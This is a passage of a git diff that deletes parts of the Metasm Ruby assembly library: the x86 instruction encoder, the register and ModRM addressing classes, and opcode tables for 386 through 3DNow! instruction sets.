(mrm.i and mrm.i.sz != adsz)) - pfx << 0x67 - adsz = 48 - adsz - end - pfx << [0x26, 0x2E, 0x36, 0x3E, 0x64, 0x65][mrm.seg.val] if mrm.seg - end - - - # - # encode embedded arguments - # - postponed = [] - oi.each { |oa, ia| - case oa - when :reg, :seg3, :seg3A, :seg2, :seg2A, :eeec, :eeed, :regfp, :regmmx, :regxmm - # field arg - set_field[oa, ia.val] - pfx << 0x66 if oa == :regmmx and op.props[:xmmx] and ia.sz == 128 - when :imm_val1, :imm_val3, :reg_cl, :reg_eax, :reg_dx, :regfp0 - # implicit - else - postponed << [oa, ia] - end - } - - if !(op.args & [:modrm, :modrmA, :modrmxmm, :modrmmmx]).empty? - # reg field of modrm - regval = (base[-1] >> 3) & 7 - base.pop - end - - # convert label name for jmp/call/loop to relative offset - if op.props[:setip] and op.name[0, 3] != 'ret' and i.args.first.kind_of? Expression - postlabel = program.new_label('post'+op.name) - target = postponed.first[1] - target = target.rexpr if target.kind_of? Expression and target.op == :+ and not target.lexpr - postponed.first[1] = Expression[target, :-, postlabel] - end - - # - # append other arguments - # - ret = EncodedData.new(pfx + base.pack('C*')) - - postponed.each { |oa, ia| - case oa - when :farptr; ed = ia.encode(@endianness, "a#{opsz}".to_sym) - when :modrm, :modrmA, :modrmmmx, :modrmxmm - if ia.kind_of? ModRM - ed = ia.encode(regval, @endianness) - if ed.kind_of?(::Array) - if ed.length > 1 - # we know that no opcode can have more than 1 modrm - ary = [] - ed.each { |m| - ary << (ret.dup << m) - } - ret = ary - next - else - ed = ed.first - end - end - else - ed = ModRM.encode_reg(ia, regval) - end - when :mrm_imm; ed = ia.imm.encode("a#{adsz}".to_sym, @endianness) - when :i8, :u8, :u16; ed = ia.encode(oa, @endianness) - when :i; ed = ia.encode("a#{opsz}".to_sym, @endianness) - else raise SyntaxError, "Internal error: want to encode field #{oa.inspect} as arg in #{i}" - end - - if ret.kind_of?(::Array) - ret.each { |e| e << ed } - else - ret << ed - end - } - - # we know that no opcode with setip accept both modrm and immediate arg, so ret is not an ::Array - ret.add_export(postlabel, ret.virtsize) if postlabel - - ret - end -end -end diff --git a/lib/metasm/metasm/ia32/main.rb b/lib/metasm/metasm/ia32/main.rb deleted file mode 100644 index 3993da8994..0000000000 --- a/lib/metasm/metasm/ia32/main.rb +++ /dev/null @@ -1,233 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - - -require 'metasm/main' - -module Metasm - -# The ia32 aka x86 CPU -# currently limited to 16 and 32bit modes -class Ia32 < CPU - - # some ruby magic to declare classes with index -> name association (registers) - class Argument - class << self - # for subclasses - attr_accessor :i_to_s, :s_to_i - end - - private - # index -> name, name -> index - def self.simple_map(a) - # { 1 => 'dr1' } - @i_to_s = Hash[*a.flatten] - # { 'dr1' => 1 } - @s_to_i = @i_to_s.invert - - class_eval { - attr_accessor :val - def initialize(v) - raise Exception, "invalid #{self.class} #{v}" unless self.class.i_to_s[v] - @val = v - end - - def self.from_str(s) new(@s_to_i[s]) end - } - end - - # size -> (index -> name), name -> [index, size] - def self.double_map(h) - # { 32 => { 1 => 'ecx' } } - @i_to_s = h - # { 'ecx' => [1, 32] } - @s_to_i = {} ; @i_to_s.each { |sz, hh| hh.each_with_index { |r, i| @s_to_i[r] = [i, sz] } } - - class_eval { - attr_accessor :val, :sz - def initialize(v, sz) - raise Exception, "invalid #{self.class} #{sz}/#{v}" unless self.class.i_to_s[sz] and self.class.i_to_s[sz][v] - @val = v - @sz = sz - end - - def self.from_str(s) - raise "Bad #{name} #{s.inspect}" if not x = @s_to_i[s] - new(*x) - end - } - end - - end - - - # segment register: es, cs, ss, ds, fs, gs and the theoretical segr6/7 - class SegReg < Argument - simple_map((0..7).zip(%w(es cs ss ds fs gs segr6 segr7))) - end - - # debug register (dr0..dr3, dr6, dr7), and theoretical dr4/5 - class DbgReg < Argument - simple_map((0..7).map { |i| [i, "dr#{i}"] }) - end - - # control register (cr0, cr2, cr3, cr4) and theoretical cr1/5/6/7 - class CtrlReg < Argument - simple_map((0..7).map { |i| [i, "cr#{i}"] }) - end - - # floating point registers - class FpReg < Argument - simple_map((0..7).map { |i| [i, "ST(#{i})"] } << [nil, 'ST']) - end - - # a single operation multiple data register (mm0..mm7, xmm0..xmm7) - class SimdReg < Argument - double_map 64 => (0..7).map { |n| "mm#{n}" }, - 128 => (0..7).map { |n| "xmm#{n}" } - def symbolic(di=nil) ; to_s.to_sym end - end - - # general purpose registers, all sizes - class Reg < Argument - double_map 8 => %w{ al cl dl bl ah ch dh bh}, - 16 => %w{ ax cx dx bx sp bp si di}, - 32 => %w{eax ecx edx ebx esp ebp esi edi} - - Sym = @i_to_s[32].map { |s| s.to_sym } - - # returns a symbolic representation of the register: - # eax => :eax - # cx => :ecx & 0xffff - # ah => (:eax >> 8) & 0xff - def symbolic(di=nil) - s = Sym[@val] - if @sz == 8 and to_s[-1] == ?h - Expression[[Sym[@val-4], :>>, 8], :&, 0xff] - elsif @sz == 8 - Expression[s, :&, 0xff] - elsif @sz == 16 - Expression[s, :&, 0xffff] - else - s - end - end - - # checks if two registers have bits in common - def share?(other) - other.val % (other.sz >> 1) == @val % (@sz >> 1) and (other.sz != @sz or @sz != 8 or other.val == @val) - end - end - - # a far pointer - # an immediate (numeric) pointer and an immediate segment selector - class Farptr < Argument - attr_accessor :seg, :addr - def initialize(seg, addr) - @seg, @addr = seg, addr - end - end - - # ModRM represents indirections in x86 (eg dword ptr [eax+4*ebx+12h]) - class ModRM < Argument - # valid combinaisons for a modrm - # ints are reg indexes, symbols are immediates, except :sib - Sum = { - 16 => { - 0 => [ [3, 6], [3, 7], [5, 6], [5, 7], [6], [7], [:i16], [3] ], - 1 => [ [3, 6, :i8 ], [3, 7, :i8 ], [5, 6, :i8 ], [5, 7, :i8 ], [6, :i8 ], [7, :i8 ], [5, :i8 ], [3, :i8 ] ], - 2 => [ [3, 6, :i16], [3, 7, :i16], [5, 6, :i16], [5, 7, :i16], [6, :i16], [7, :i16], [5, :i16], [3, :i16] ] - }, - 32 => { - 0 => [ [0], [1], [2], [3], [:sib], [:i32], [6], [7] ], - 1 => [ [0, :i8 ], [1, :i8 ], [2, :i8 ], [3, :i8 ], [:sib, :i8 ], [5, :i8 ], [6, :i8 ], [7, :i8 ] ], - 2 => [ [0, :i32], [1, :i32], [2, :i32], [3, :i32], [:sib, :i32], [5, :i32], [6, :i32], [7, :i32] ] - } - } - - - attr_accessor :adsz, :sz - attr_accessor :seg - attr_accessor :s, :i, :b, :imm - - # creates a new ModRM with the specified attributes: - # - adsz (16/32), sz (8/16/32: byte ptr, word ptr, dword ptr) - # - s, i, b, imm - # - segment selector override - def initialize(adsz, sz, s, i, b, imm, seg = nil) - @adsz, @sz = adsz, sz - @s, @i = s, i if i - @b = b if b - @imm = imm if imm - @seg = seg if seg - end - - # returns the symbolic representation of the ModRM (ie an Indirection) - # segment selectors are represented as eg "segment_base_fs" - # not present when same as implicit (ds:edx, ss:esp) - def symbolic(di=nil) - p = nil - p = Expression[p, :+, @b.symbolic(di)] if b - p = Expression[p, :+, [@s, :*, @i.symbolic(di)]] if i - p = Expression[p, :+, @imm] if imm - p = Expression["segment_base_#@seg", :+, p] if seg and seg.val != ((b && (@b.val == 4 || @b.val == 5)) ? 2 : 3) - Indirection[p.reduce, @sz/8, (di.address if di)] - end - end - - - # Create a new instance of an Ia32 cpu - # arguments (any order) - # - size in bits (16, 32) [32] - # - instruction set (386, 486, pentium...) [latest] - # - endianness [:little] - def initialize(*a) - super() - @size = (a & [16, 32]).first || 32 - a.delete @size - @endianness = (a & [:big, :little]).first || :little - a.delete @endianness - @family = a.pop || :latest - raise "Invalid arguments #{a.inspect}" if not a.empty? - raise "Invalid Ia32 family #{@family.inspect}" if not respond_to?("init_#@family") - end - - # wrapper to transparently forward Ia32.new(64) to X86_64.new - def self.new(*a) - return X86_64.new(*a) if a.include? 64 and self == Ia32 - super(*a) - end - - # initializes the @opcode_list according to @family - def init_opcode_list - send("init_#@family") - @opcode_list - end - - # defines some preprocessor macros to say who we are: - # _M_IX86 = 500, _X86_, __i386__ - # pass any value in nodefine to just call super w/o defining anything of our own - def tune_prepro(pp, nodefine = false) - super(pp) - return if nodefine - pp.define_weak('_M_IX86', 500) - pp.define_weak('_X86_') - pp.define_weak('__i386__') - end - - # returns a Reg object if the arg is a valid register (eg 'ax' => Reg.new(0, 16)) - # returns nil if str is invalid - def str_to_reg(str) - Reg.from_str(str) if Reg.s_to_i.has_key? str - end - - def shortname - "ia32#{'_16' if @size == 16}#{'_be' if @endianness == :big}" - end -end - -X86 = Ia32 - -end diff --git a/lib/metasm/metasm/ia32/opcodes.rb b/lib/metasm/metasm/ia32/opcodes.rb deleted file mode 100644 index 3eec8a6c5c..0000000000 --- a/lib/metasm/metasm/ia32/opcodes.rb +++ /dev/null @@ -1,872 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - - -require 'metasm/ia32/main' - -module Metasm -class Ia32 - def init_cpu_constants - @opcode_list ||= [] - @fields_mask.update :w => 1, :s => 1, :d => 1, :modrm => 0xc7, - :reg => 7, :eeec => 7, :eeed => 7, :seg2 => 3, :seg3 => 7, - :regfp => 7, :regmmx => 7, :regxmm => 7 - @fields_mask[:seg2A] = @fields_mask[:seg2] - @fields_mask[:seg3A] = @fields_mask[:seg3] - @fields_mask[:modrmA] = @fields_mask[:modrm] - - @valid_args.concat [:i, :i8, :u8, :u16, :reg, :seg2, :seg2A, - :seg3, :seg3A, :eeec, :eeed, :modrm, :modrmA, :mrm_imm, - :farptr, :imm_val1, :imm_val3, :reg_cl, :reg_eax, - :reg_dx, :regfp, :regfp0, :modrmmmx, :regmmx, - :modrmxmm, :regxmm] - @valid_args - - @valid_props.concat [:strop, :stropz, :opsz, :argsz, :setip, - :stopexec, :saveip, :unsigned_imm, :random, :needpfx, - :xmmx] - @valid_props - end - - # only most common instructions from the 386 instruction set - # inexhaustive list : - # no aaa, arpl, mov crX, call/jmp/ret far, in/out, bts, xchg... - def init_386_common_only - init_cpu_constants - - addop_macro1 'adc', 2 - addop_macro1 'add', 0 - addop_macro1 'and', 4, :u - addop 'bswap', [0x0F, 0xC8], :reg - addop 'call', [0xE8], nil, {}, :stopexec, :setip, :i, :saveip - addop 'call', [0xFF], 2, {}, :stopexec, :setip, :saveip - addop('cbw', [0x98]) { |o| o.props[:opsz] = 16 } - addop('cwde', [0x98]) { |o| o.props[:opsz] = 32 } - addop('cdqe', [0x98]) { |o| o.props[:opsz] = 64 } - addop('cwd', [0x99]) { |o| o.props[:opsz] = 16 } - addop('cdq', [0x99]) { |o| o.props[:opsz] = 32 } - addop('cqo', [0x99]) { |o| o.props[:opsz] = 64 } - addop_macro1 'cmp', 7 - addop_macrostr 'cmps', [0xA6], :stropz - addop 'dec', [0x48], :reg - addop 'dec', [0xFE], 1, {:w => [0, 0]} - addop 'div', [0xF6], 6, {:w => [0, 0]} - addop 'enter', [0xC8], nil, {}, :u16, :u8 - addop 'idiv', [0xF6], 7, {:w => [0, 0]} - addop 'imul', [0xF6], 5, {:w => [0, 0]}, :reg_eax - addop 'imul', [0x0F, 0xAF], :mrm - addop 'imul', [0x69], :mrm, {:s => [0, 1]}, :i - addop 'inc', [0x40], :reg - addop 'inc', [0xFE], 0, {:w => [0, 0]} - addop 'int', [0xCC], nil, {}, :imm_val3, :stopexec - addop 'int', [0xCD], nil, {}, :u8 - addop_macrotttn 'j', [0x70], nil, {}, :setip, :i8 - addop_macrotttn 'j', [0x0F, 0x80], nil, {}, :setip, :i - addop 'jmp', [0xE9], nil, {:s => [0, 1]}, :setip, :i, :stopexec - addop 'jmp', [0xFF], 4, {}, :setip, :stopexec - addop 'lea', [0x8D], :mrmA - addop 'leave', [0xC9] - addop_macrostr 'lods', [0xAC], :strop - addop 'loop', [0xE2], nil, {}, :setip, :i8 - addop 'loopz', [0xE1], nil, {}, :setip, :i8 - addop 'loope', [0xE1], nil, {}, :setip, :i8 - addop 'loopnz',[0xE0], nil, {}, :setip, :i8 - addop 'loopne',[0xE0], nil, {}, :setip, :i8 - addop 'mov', [0xA0], nil, {:w => [0, 0], :d => [0, 1]}, :mrm_imm, :reg_eax - addop 'mov', [0x88], :mrmw,{:d => [0, 1]} - addop 'mov', [0xB0], :reg, {:w => [0, 3]}, :u - addop 'mov', [0xC6], 0, {:w => [0, 0]}, :u - addop_macrostr 'movs', [0xA4], :strop - addop 'movsx', [0x0F, 0xBE], :mrmw - addop 'movzx', [0x0F, 0xB6], :mrmw - addop 'mul', [0xF6], 4, {:w => [0, 0]} - addop 'neg', [0xF6], 3, {:w => [0, 0]} - addop 'nop', [0x90] - addop 'not', [0xF6], 2, {:w => [0, 0]} - addop_macro1 'or', 1, :u - addop 'pop', [0x58], :reg - addop 'pop', [0x8F], 0 - addop 'push', [0x50], :reg - addop 'push', [0xFF], 6 - addop 'push', [0x68], nil, {:s => [0, 1]}, :u - addop 'ret', [0xC3], nil, {}, :stopexec, :setip - addop 'ret', [0xC2], nil, {}, :stopexec, :u16, :setip - addop_macro3 'rol', 0 - addop_macro3 'ror', 1 - addop_macro3 'sar', 7 - addop_macro1 'sbb', 3 - addop_macrostr 'scas', [0xAE], :stropz - addop_macrotttn('set', [0x0F, 0x90], 0) { |o| o.props[:argsz] = 8 } - addop_macrotttn('set', [0x0F, 0x90], :mrm) { |o| o.props[:argsz] = 8 ; o.args.reverse! } # :reg field is unused - addop_macro3 'shl', 4 - addop_macro3 'sal', 6 - addop 'shld', [0x0F, 0xA4], :mrm, {}, :u8 - addop 'shld', [0x0F, 0xA5], :mrm, {}, :reg_cl - addop_macro3 'shr', 5 - addop 'shrd', [0x0F, 0xAC], :mrm, {}, :u8 - addop 'shrd', [0x0F, 0xAD], :mrm, {}, :reg_cl - addop_macrostr 'stos', [0xAA], :strop - addop_macro1 'sub', 5 - addop 'test', [0x84], :mrmw - addop 'test', [0xA8], nil, {:w => [0, 0]}, :reg_eax, :u - addop 'test', [0xF6], 0, {:w => [0, 0]}, :u - addop 'xchg', [0x90], :reg, {}, :reg_eax - addop('xchg', [0x90], :reg, {}, :reg_eax) { |o| o.args.reverse! } # xchg eax, ebx == xchg ebx, eax) - addop 'xchg', [0x86], :mrmw - addop('xchg', [0x86], :mrmw) { |o| o.args.reverse! } - addop_macro1 'xor', 6, :u - end - - def init_386_only - init_cpu_constants - - addop 'aaa', [0x37] - addop 'aad', [0xD5, 0x0A] - addop 'aam', [0xD4, 0x0A] - addop 'aas', [0x3F] - addop('arpl', [0x63], :mrm) { |o| o.props[:argsz] = 16 ; o.args.reverse! } - addop 'bound', [0x62], :mrmA - addop 'bsf', [0x0F, 0xBC], :mrm - addop 'bsr', [0x0F, 0xBD], :mrm - addop_macro2 'bt' , 0 - addop_macro2 'btc', 3 - addop_macro2 'btr', 2 - addop_macro2 'bts', 1 - addop 'call', [0x9A], nil, {}, :stopexec, :setip, :farptr, :saveip - addop 'callf', [0x9A], nil, {}, :stopexec, :setip, :farptr, :saveip - addop 'callf', [0xFF], 3, {}, :stopexec, :setip, :saveip - addop 'clc', [0xF8] - addop 'cld', [0xFC] - addop 'cli', [0xFA] - addop 'clts', [0x0F, 0x06] - addop 'cmc', [0xF5] - addop('cmpxchg',[0x0F, 0xB0], :mrmw) { |o| o.args.reverse! } - addop 'cpuid', [0x0F, 0xA2] - addop 'daa', [0x27] - addop 'das', [0x2F] - addop 'hlt', [0xF4], nil, {}, :stopexec - addop 'in', [0xE4], nil, {:w => [0, 0]}, :reg_eax, :u8 - addop 'in', [0xE4], nil, {:w => [0, 0]}, :u8 - addop 'in', [0xEC], nil, {:w => [0, 0]}, :reg_eax, :reg_dx - addop 'in', [0xEC], nil, {:w => [0, 0]}, :reg_eax - addop 'in', [0xEC], nil, {:w => [0, 0]} - addop_macrostr 'ins', [0x6C], :strop - addop 'into', [0xCE] - addop 'invd', [0x0F, 0x08] - addop 'invlpg',[0x0F, 0x01, 7<<3], :modrmA - addop 'iret', [0xCF], nil, {}, :stopexec, :setip - addop 'iretd', [0xCF], nil, {}, :stopexec, :setip - addop('jcxz', [0xE3], nil, {}, :setip, :i8) { |o| o.props[:opsz] = 16 } - addop('jecxz', [0xE3], nil, {}, :setip, :i8) { |o| o.props[:opsz] = 32 } - addop 'jmp', [0xEA], nil, {}, :farptr, :setip, :stopexec - addop 'jmpf', [0xEA], nil, {}, :farptr, :setip, :stopexec - addop 'jmpf', [0xFF], 5, {}, :stopexec, :setip # reg ? - addop 'lahf', [0x9F] - addop 'lar', [0x0F, 0x02], :mrm - addop 'lds', [0xC5], :mrmA - addop 'les', [0xC4], :mrmA - addop 'lfs', [0x0F, 0xB4], :mrmA - addop 'lgs', [0x0F, 0xB5], :mrmA - addop 'lgdt', [0x0F, 0x01], 2 - addop 'lidt', [0x0F, 0x01, 3<<3], :modrmA - addop 'lldt', [0x0F, 0x00], 2 - addop 'lmsw', [0x0F, 0x01], 6 -# prefix addop 'lock', [0xF0] - addop 'lsl', [0x0F, 0x03], :mrm - addop 'lss', [0x0F, 0xB2], :mrmA - addop 'ltr', [0x0F, 0x00], 3 - addop('mov', [0x0F, 0x20, 0xC0], :reg, {:d => [1, 1], :eeec => [2, 3]}, :eeec) { |op| op.args.reverse! } - addop('mov', [0x0F, 0x21, 0xC0], :reg, {:d => [1, 1], :eeed => [2, 3]}, :eeed) { |op| op.args.reverse! } - addop('mov', [0x8C], 0, {:d => [0, 1], :seg3 => [1, 3]}, :seg3) { |op| op.args.reverse! } - addop 'out', [0xE6], nil, {:w => [0, 0]}, :u8, :reg_eax - addop 'out', [0xE6], nil, {:w => [0, 0]}, :reg_eax, :u8 - addop 'out', [0xE6], nil, {:w => [0, 0]}, :u8 - addop 'out', [0xEE], nil, {:w => [0, 0]}, :reg_dx, :reg_eax - addop 'out', [0xEE], nil, {:w => [0, 0]}, :reg_eax, :reg_dx - addop 'out', [0xEE], nil, {:w => [0, 0]}, :reg_eax # implicit arguments - addop 'out', [0xEE], nil, {:w => [0, 0]} - addop_macrostr 'outs', [0x6E], :strop - addop 'pop', [0x07], nil, {:seg2A => [0, 3]}, :seg2A - addop 'pop', [0x0F, 0x81], nil, {:seg3A => [1, 3]}, :seg3A - addop('popa', [0x61]) { |o| o.props[:opsz] = 16 } - addop('popad', [0x61]) { |o| o.props[:opsz] = 32 } - addop('popf', [0x9D]) { |o| o.props[:opsz] = 16 } - addop('popfd', [0x9D]) { |o| o.props[:opsz] = 32 } - addop 'push', [0x06], nil, {:seg2 => [0, 3]}, :seg2 - addop 'push', [0x0F, 0x80], nil, {:seg3A => [1, 3]}, :seg3A - addop('pusha', [0x60]) { |o| o.props[:opsz] = 16 } - addop('pushad',[0x60]) { |o| o.props[:opsz] = 32 } - addop('pushf', [0x9C]) { |o| o.props[:opsz] = 16 } - addop('pushfd',[0x9C]) { |o| o.props[:opsz] = 32 } - addop_macro3 'rcl', 2 - addop_macro3 'rcr', 3 - addop 'rdmsr', [0x0F, 0x32] - addop 'rdpmc', [0x0F, 0x33] - addop 'rdtsc', [0x0F, 0x31], nil, {}, :random - addop 'retf', [0xCB], nil, {}, :stopexec, :setip - addop 'retf', [0xCA], nil, {}, :stopexec, :u16, :setip - addop 'rsm', [0x0F, 0xAA], nil, {}, :stopexec - addop 'sahf', [0x9E] - addop 'sgdt', [0x0F, 0x01, 0<<3], :modrmA - addop 'sidt', [0x0F, 0x01, 1<<3], :modrmA - addop 'sldt', [0x0F, 0x00], 0 - addop 'smsw', [0x0F, 0x01], 4 - addop 'stc', [0xF9] - addop 'std', [0xFD] - addop 'sti', [0xFB] - addop 'str', [0x0F, 0x00], 1 - addop 'ud2', [0x0F, 0x0B] - addop 'verr', [0x0F, 0x00], 4 - addop 'verw', [0x0F, 0x00], 5 - addop 'wait', [0x9B] - addop 'wbinvd',[0x0F, 0x09] - addop 'wrmsr', [0x0F, 0x30] - addop('xadd', [0x0F, 0xC0], :mrmw) { |o| o.args.reverse! } - addop 'xlat', [0xD7] - -# pfx: addrsz = 0x67, lock = 0xf0, opsz = 0x66, repnz = 0xf2, rep/repz = 0xf3 -# cs/nojmp = 0x2E, ds/jmp = 0x3E, es = 0x26, fs = 0x64, gs = 0x65, ss = 0x36 - # undocumented opcodes - # TODO put these in the right place (486/P6/...) - addop 'aam', [0xD4], nil, {}, :u8 - addop 'aad', [0xD5], nil, {}, :u8 - addop 'setalc', [0xD6] - addop 'salc', [0xD6] - addop 'icebp', [0xF1] - #addop 'loadall',[0x0F, 0x07] # conflict with syscall - addop 'ud2', [0x0F, 0xB9] - addop 'umov', [0x0F, 0x10], :mrmw,{:d => [1, 1]} - end - - def init_387_only - init_cpu_constants - - addop 'f2xm1', [0xD9, 0xF0] - addop 'fabs', [0xD9, 0xE1] - addop_macrofpu1 'fadd', 0 - addop 'faddp', [0xDE, 0xC0], :regfp - addop 'faddp', [0xDE, 0xC1] - addop('fbld', [0xDF, 4<<3], :modrmA, {}, :regfp0) { |o| o.props[:argsz] = 80 } - addop('fbstp', [0xDF, 6<<3], :modrmA, {}, :regfp0) { |o| o.props[:argsz] = 80 } - addop 'fchs', [0xD9, 0xE0], nil, {}, :regfp0 - addop 'fnclex', [0xDB, 0xE2] - addop_macrofpu1 'fcom', 2 - addop_macrofpu1 'fcomp', 3 - addop 'fcompp',[0xDE, 0xD9] - addop 'fcomip',[0xDF, 0xF0], :regfp - addop 'fcos', [0xD9, 0xFF], nil, {}, :regfp0 - addop 'fdecstp', [0xD9, 0xF6] - addop_macrofpu1 'fdiv', 6 - addop_macrofpu1 'fdivr', 7 - addop 'fdivp', [0xDE, 0xF8], :regfp - addop 'fdivp', [0xDE, 0xF9] - addop 'fdivrp',[0xDE, 0xF0], :regfp - addop 'fdivrp',[0xDE, 0xF1] - addop 'ffree', [0xDD, 0xC0], nil, {:regfp => [1, 0]}, :regfp - addop_macrofpu2 'fiadd', 0 - addop_macrofpu2 'fimul', 1 - addop_macrofpu2 'ficom', 2 - addop_macrofpu2 'ficomp',3 - addop_macrofpu2 'fisub', 4 - addop_macrofpu2 'fisubr',5 - addop_macrofpu2 'fidiv', 6 - addop_macrofpu2 'fidivr',7 - addop 'fincstp', [0xD9, 0xF7] - addop 'fninit', [0xDB, 0xE3] - addop_macrofpu2 'fist', 2, 1 - addop_macrofpu3 'fild', 0 - addop_macrofpu3 'fistp',3 - addop('fld', [0xD9, 0<<3], :modrmA, {}, :regfp0) { |o| o.props[:argsz] = 32 } - addop('fld', [0xDD, 0<<3], :modrmA, {}, :regfp0) { |o| o.props[:argsz] = 64 } - addop('fld', [0xDB, 5<<3], :modrmA, {}, :regfp0) { |o| o.props[:argsz] = 80 } - addop 'fld', [0xD9, 0xC0], :regfp - - addop('fldcw', [0xD9, 5<<3], :modrmA) { |o| o.props[:argsz] = 16 } - addop 'fldenv', [0xD9, 4<<3], :modrmA - addop 'fld1', [0xD9, 0xE8] - addop 'fldl2t', [0xD9, 0xE9] - addop 'fldl2e', [0xD9, 0xEA] - addop 'fldpi', [0xD9, 0xEB] - addop 'fldlg2', [0xD9, 0xEC] - addop 'fldln2', [0xD9, 0xED] - addop 'fldz', [0xD9, 0xEE] - addop_macrofpu1 'fmul', 1 - addop 'fmulp', [0xDE, 0xC8], :regfp - addop 'fmulp', [0xDE, 0xC9] - addop 'fnop', [0xD9, 0xD0] - addop 'fpatan', [0xD9, 0xF3] - addop 'fprem', [0xD9, 0xF8] - addop 'fprem1', [0xD9, 0xF5] - addop 'fptan', [0xD9, 0xF2] - addop 'frndint',[0xD9, 0xFC] - addop 'frstor', [0xDD, 4<<3], :modrmA - addop 'fnsave', [0xDD, 6<<3], :modrmA - addop('fnstcw', [0xD9, 7<<3], :modrmA) { |o| o.props[:argsz] = 16 } - addop 'fnstenv',[0xD9, 6<<3], :modrmA - addop 'fnstsw', [0xDF, 0xE0] - addop('fnstsw', [0xDD, 7<<3], :modrmA) { |o| o.props[:argsz] = 16 } - addop 'fscale', [0xD9, 0xFD] - addop 'fsin', [0xD9, 0xFE] - addop 'fsincos',[0xD9, 0xFB] - addop 'fsqrt', [0xD9, 0xFA] - addop('fst', [0xD9, 2<<3], :modrmA, {}, :regfp0) { |o| o.props[:argsz] = 32 } - addop('fst', [0xDD, 2<<3], :modrmA, {}, :regfp0) { |o| o.props[:argsz] = 64 } - addop 'fst', [0xD9, 0xD0], :regfp - addop('fstp', [0xD9, 3<<3], :modrmA, {}, :regfp0) { |o| o.props[:argsz] = 32 } - addop('fstp', [0xDD, 3<<3], :modrmA, {}, :regfp0) { |o| o.props[:argsz] = 64 } - addop('fstp', [0xDB, 7<<3], :modrmA, {}, :regfp0) { |o| o.props[:argsz] = 80 } - addop 'fstp', [0xDD, 0xD8], :regfp - addop_macrofpu1 'fsub', 4 - addop 'fsubp', [0xDE, 0xE8], :regfp - addop 'fsubp', [0xDE, 0xE9] - addop_macrofpu1 'fsubp', 5 - addop 'fsubrp', [0xDE, 0xE0], :regfp - addop 'fsubrp', [0xDE, 0xE1] - addop 'ftst', [0xD9, 0xE4] - addop 'fucom', [0xDD, 0xE0], :regfp - addop 'fucomp', [0xDD, 0xE8], :regfp - addop 'fucompp',[0xDA, 0xE9] - addop 'fucomi', [0xDB, 0xE8], :regfp - addop 'fxam', [0xD9, 0xE5] - addop 'fxch', [0xD9, 0xC8], :regfp - addop 'fxtract',[0xD9, 0xF4] - addop 'fyl2x', [0xD9, 0xF1] - addop 'fyl2xp1',[0xD9, 0xF9] - # fwait prefix - addop 'fclex', [0x9B, 0xDB, 0xE2] - addop 'finit', [0x9B, 0xDB, 0xE3] - addop 'fsave', [0x9B, 0xDD, 6<<3], :modrmA - addop('fstcw', [0x9B, 0xD9, 7<<3], :modrmA) { |o| o.props[:argsz] = 16 } - addop 'fstenv', [0x9B, 0xD9, 6<<3], :modrmA - addop 'fstsw', [0x9B, 0xDF, 0xE0] - addop('fstsw', [0x9B, 0xDD, 7<<3], :modrmA) { |o| o.props[:argsz] = 16 } - addop 'fwait', [0x9B] - end - - def init_486_only - init_cpu_constants - # TODO add new segments (fs/gs) ? - end - - def init_pentium_only - init_cpu_constants - - addop 'cmpxchg8b', [0x0F, 0xC7], 1 - # lock cmpxchg8b eax - #addop 'f00fbug', [0xF0, 0x0F, 0xC7, 0xC8] - - # mmx - addop 'emms', [0x0F, 0x77] - addop('movd', [0x0F, 0x6E], :mrmmmx, {:d => [1, 4]}) { |o| o.args[o.args.index(:modrmmmx)] = :modrm ; o.args.reverse! } - addop('movq', [0x0F, 0x6F], :mrmmmx, {:d => [1, 4]}) { |o| o.args.reverse! } - addop 'packssdw', [0x0F, 0x6B], :mrmmmx - addop 'packsswb', [0x0F, 0x63], :mrmmmx - addop 'packuswb', [0x0F, 0x67], :mrmmmx - addop_macrogg 0..2, 'padd', [0x0F, 0xFC], :mrmmmx - addop_macrogg 0..1, 'padds', [0x0F, 0xEC], :mrmmmx - addop_macrogg 0..1, 'paddus',[0x0F, 0xDC], :mrmmmx - addop 'pand', [0x0F, 0xDB], :mrmmmx - addop 'pandn', [0x0F, 0xDF], :mrmmmx - addop_macrogg 0..2, 'pcmpeq',[0x0F, 0x74], :mrmmmx - addop_macrogg 0..2, 'pcmpgt',[0x0F, 0x64], :mrmmmx - addop 'pmaddwd', [0x0F, 0xF5], :mrmmmx - addop 'pmulhuw', [0x0F, 0xE4], :mrmmmx - addop 'pmulhw',[0x0F, 0xE5], :mrmmmx - addop 'pmullw',[0x0F, 0xD5], :mrmmmx - addop 'por', [0x0F, 0xEB], :mrmmmx - addop_macrommx 1..3, 'psll', 3 - addop_macrommx 1..2, 'psra', 2 - addop_macrommx 1..3, 'psrl', 1 - addop_macrogg 0..2, 'psub', [0x0F, 0xF8], :mrmmmx - addop_macrogg 0..1, 'psubs', [0x0F, 0xE8], :mrmmmx - addop_macrogg 0..1, 'psubus',[0x0F, 0xD8], :mrmmmx - addop_macrogg 1..3, 'punchkh', [0x0F, 0x68], :mrmmmx - addop_macrogg 1..3, 'punpckl', [0x0F, 0x60], :mrmmmx - addop 'pxor', [0x0F, 0xEF], :mrmmmx - end - - def init_p6_only - addop_macrotttn 'cmov', [0x0F, 0x40], :mrm - - %w{b e be u}.each_with_index { |tt, i| - addop 'fcmov' + tt, [0xDA, 0xC0 | (i << 3)], :regfp - addop 'fcmovn'+ tt, [0xDB, 0xC0 | (i << 3)], :regfp - } - addop 'fcomi', [0xDB, 0xF0], :regfp - addop('fxrstor', [0x0F, 0xAE, 1<<3], :modrmA) { |o| o.props[:argsz] = 512*8 } - addop('fxsave', [0x0F, 0xAE, 0<<3], :modrmA) { |o| o.props[:argsz] = 512*8 } - addop 'sysenter',[0x0F, 0x34] - addop 'sysexit', [0x0F, 0x35] - - addop 'syscall', [0x0F, 0x05] # AMD - addop 'sysret', [0x0F, 0x07] # AMD - end - - def init_3dnow_only - init_cpu_constants - - [['pavgusb', 0xBF], ['pfadd', 0x9E], ['pfsub', 0x9A], - ['pfsubr', 0xAA], ['pfacc', 0xAE], ['pfcmpge', 0x90], - ['pfcmpgt', 0xA0], ['fpcmpeq', 0xB0], ['pfmin', 0x94], - ['pfmax', 0xA4], ['pi2fd', 0x0D], ['pf2id', 0x1D], - ['pfrcp', 0x96], ['pfrsqrt', 0x97], ['pfmul', 0xB4], - ['pfrcpit1', 0xA6], ['pfrsqit1', 0xA7], ['pfrcpit2', 0xB6], - ['pmulhrw', 0xB7]].each { |str, bin| - addop str, [0x0F, 0x0F, bin], :mrmmmx - } - # 